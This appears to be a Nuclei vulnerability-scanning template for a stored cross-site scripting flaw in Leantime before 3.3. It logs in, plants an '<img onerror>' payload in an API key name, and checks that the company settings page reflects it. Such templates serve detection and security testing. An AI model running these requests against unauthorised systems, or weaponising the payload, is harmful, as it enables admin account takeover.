leantime-stored-xss: Leantime < 3.3 = Cross-Site Scripting

id: leantime-stored-xss

info:
  name: Leantime < 3.3 = Cross-Site Scripting
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Any low privileged user like manager, or editor, can create an API key with XSS payload. When admin will visit the Company page, the XSS will automatically get triggerred leading to the unauthorized action performed from the ADMIN account. Like, removing any user, or adding someone else as high privilege, and many more.
  reference:
    - https://github.com/advisories/GHSA-c39w-3pjx-qc7m
  classification:
    cwe-id: CWE-79,CWE-83
  tags: leantime,xss,stored,authenticated,vuln

flow: http(1) && http(2) && http(3)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        redirectUrl=http%253A%252F%252F{{Hostname}}%252Fdashboard%252Fhome&username={{username}}&password={{password}}&login=Login

    matchers:
      - type: word
        part: body
        words:
          - /dashboard/home
        internal: true

  - raw:
      - |
        POST /api/newApiKey HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        save=1&firstname=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E&role=5&status=a&submitAction=Save

    matchers:
      - type: word
        part: body
        words:
          - 'message: "notification.api_key_created", style: "success"'
        internal: true

  - raw:
      - |
        GET /setting/editCompanySettings/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022005513f61fa706ac779598510e9460bc8a615dec37ff089edde989a315e3d9545022100ab3adfee16d4bc3f0491d77dd0f9f08ae8d5a729615db3e8001473dd19ec3129:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.